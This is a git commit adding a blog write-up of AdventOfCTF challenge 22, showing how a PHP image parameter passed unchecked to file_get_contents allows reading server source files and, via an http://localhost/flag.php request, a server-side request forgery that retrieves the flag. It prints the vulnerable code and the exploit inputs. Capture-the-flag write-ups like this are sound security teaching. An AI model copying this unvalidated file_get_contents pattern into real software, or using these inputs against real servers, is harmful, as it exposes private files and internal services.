Add challenge 22 of adventofctf

4 years ago · 4e830eed00
parent fa9375e5a2
commit 4e830eed00
2 changed files with 233 additions and 0 deletions
--- a/content/posts/adventofctf/challenge_22.md
+++ b/content/posts/adventofctf/challenge_22.md
@ -0,0 +1,233 @@
 +++
 author = "Maik de Kruif"
 title = "Challenge 22 - AdventOfCTF"
 date = 2021-03-04T01:24:34+01:00
 description = "A writeup for challenge 22 of AdventOfCTF."
 cover = "img/adventofctf/6c0810c1568645bcf58da67a1db6e3e7.png"
 tags = [
    "AdventOfCTF",
    "challenge",
    "ctf",
    "hacking",
    "writeup",
    "web",
    "php",
    "ssrf",
 ]
 categories = [
    "ctf",
    "writeups",
    "hacking",
 ]
 +++
 - Points: 2200
 ## Description
 We have a new service! You can view santa's favorite pictues. Currently there is only one, but it is a very good one! You can get the flag through flag.php.
 Visit https://22.adventofctf.com to start the challenge.
 ## Recon
 Upon opening the challenge website, we're greeted with a link with the text "Is this santa?". If we click on it, it redirects to `/index.php?image=cat.jpg`.
 This page shows us a nice picture of a cat.
 ## Finding the vulnerability
 When looking at this, you might think of Local File Inclusion (LFI). This makes sense as it is one of the most common vulnerability in opening files.
 We can try to use it to open `flag.php`. To try this, let's replace `cat.jpg` with `flag.php` in the URL.
 When opening the page, we will see a broken image, this is expected as the file it not an image. If we open the source we find the following:
 ```html
 <img
  src="data:image/jpeg;base64,PD9waHAKCmluY2x1ZGUoInNlY3JldC5waHAiKTsKCmlmIChzdHJwb3MoY2hlY2tfc2VjcmV0KCksICJhbGxvdyIpICE9PSBmYWxzZSkgewogICBlY2hvIGdldF9mbGFnKCk7IAp9Cgo/Pgo="
  width="100%"
 />
 ```
 Here we see some `base64` encoded data, let's decode it using the following command:
 ```bash
 echo -n "PD9waHAKCmluY2x1ZGUoInNlY3JldC5waHAiKTsKCmlmIChzdHJwb3MoY2hlY2tfc2VjcmV0KCksICJhbGxvdyIpICE9PSBmYWxzZSkgewogICBlY2hvIGdldF9mbGFnKCk7IAp9Cgo/Pgo=" | base64 -d
 ```
 ```php
 <?php
 include("secret.php");
 if (strpos(check_secret(), "allow") !== false) {
   echo get_flag();
 }
 ?>
 ```
 If we look at this code, we see that if `check_secret()` contains `"allow"`, it will execute the `get_flag()` function (which will probably give us the flag).
 The functions are not defined in this file so they probably come from `secret.php`. Let's try to read that file.
 Alas, we get the cat picture again. That's weird. There might be a filter on the input. Let's verify that by reading the `index.php` file.
 Using the same decoding method, we get the following result:
 {{< code language="php" title="index.php" >}}
 ```html
 <!DOCTYPE html>
 <html class="no-js" lang="">
  <head>
    <meta charset="utf-8" />
    <meta http-equiv="x-ua-compatible" content="ie=edge" />
    <title>Advent of CTF 22</title>
    <meta name="description" content="" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <link rel="stylesheet" href="style.css" type="text/css" media="screen" />
    <link
      rel="stylesheet"
      href="https://use.fontawesome.com/releases/v5.6.3/css/all.css"
      integrity="sha384-UHRtZLI+pbxtHCWp1t77Bi1L4ZtiqrqD80Kn4Z8NTSRyMA2Fd33n5dQ8lWUE00s/"
      crossorigin="anonymous"
    />
    <style>
      .row-margin-05 {
        margin-top: 0.5em;
      }
      .row-margin-10 {
        margin-top: 1em;
      }
      .row-margin-20 {
        margin-top: 2em;
      }
      .row-margin-30 {
        margin-top: 3em;
      }
    </style>
  </head>
  <body>
    <div class="jumbotron bg-transparent mb-0 radius-0">
      <div class="container fluid">
        <div class="row">
          <div class="col-xl-6 mx-auto">
            <h1 class="display-2">
              Advent of CTF <span class="vim-caret">22</span>
            </h1>
            <div class="lead mb-3 text-mono text-warning">
              Your daily dose of CTF for December
            </div>
            <div class="row">
              <div class="col-xl-12 mx-auto">
                <div class="card">
                  <div class="card-header text-center">
                    <h2>The big reveal</h2>
                  </div>
                  <div class="card-body">
                    <?php
                    if (!isset($_GET["image"])) {
                    ?>
                    <a href="/index.php?image=cat.jpg">Is this santa?</a>
                    <?php
                    } else {
                        $path = $_GET["image"];
                        if (strpos($path,"secret") !== false) {
                            $path="cat.jpg";
                        }
                        $image = file_get_contents($path);
                        echo '<img src="data:image/jpeg;base64,'.base64_encode($image).'" width="100%"/>';
                    } ?>
                  </div>
                  <div class="card-footer text-center">Almost there</div>
                </div>
              </div>
            </div>
            <div class="row row-margin-30">
              <div class="card mb-3 bg-dark text-white">
                <div class="card-body">
                  <div class="row">
                    <div class="col-md-2">
                      <img src="/logo.png" />
                    </div>
                    <div class="col-md-9 offset-md-1 align-middle">
                      <p class="text-center">
                        <span class="align-middle">
                          The Advent of CTF is brought to you by
                          <a href="http://www.novi.nl">NOVI Hogeschool</a>. It
                          is built by
                          <a
                            href="https://twitter.com/credmp/"
                            class="icoTwitter"
                            title="Twitter"
                            ><i class="fab fa-twitter"></i> @credmp</a
                          >. If you are looking for a Dutch Cyber Security
                          Bachelor degree or bootcamp,
                          <a href="https://www.novi.nl">check us out</a>.
                        </span>
                      </p>
                    </div>
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
  </body>
 </html>
 ```
 {{< /code >}}
 Just the PHP part:
 ```html
 <?php
 if (!isset($_GET["image"])) {
 ?>
 <a href="/index.php?image=cat.jpg">Is this santa?</a>
 <?php
 } else {
    $path = $_GET["image"];
    if (strpos($path,"secret") !== false) {
        $path="cat.jpg";
    }
    $image = file_get_contents($path);
    echo '<img src="data:image/jpeg;base64,'.base64_encode($image).'" width="100%"/>';
 } ?>
 ```
 Here we see that we cannot get any file containing "secret". This means we have to find another way to get the flag.
 We see that this code is using the `file_get_contents()` function to open file. Let's have a look at the [PHP documentation for it](https://www.php.net/manual/en/function.file-get-contents.php).
 If we read a bit we find the following example usage:
 ```php
 <?php
 $homepage = file_get_contents('http://www.example.com/');
 echo $homepage;
 ?>
 ```
 This means it can also open URLs and, since we control the input to the function, we have a Server-Side Request Forgery (SSRF) vulnerability. Let's try to use that to open the flag file.
 To test this, we can use the following input; `image=http://localhost/flag.php`.
 _Note: We can not use the `secret.php` file as any input containing "secret" is blocked._
 We, again, got some base64 encoded data back, so let's decode it:
 ```bash
 echo -n "Tk9WSXthc2tpbmdfZm9yX2FfZnJpZW5kfQ==" | base64 -d
 ```
 ## Solution
 We got the flag! It is `NOVI{asking_for_a_friend}`.
--- a/static/img/adventofctf/6c0810c1568645bcf58da67a1db6e3e7.png
+++ b/static/img/adventofctf/6c0810c1568645bcf58da67a1db6e3e7.png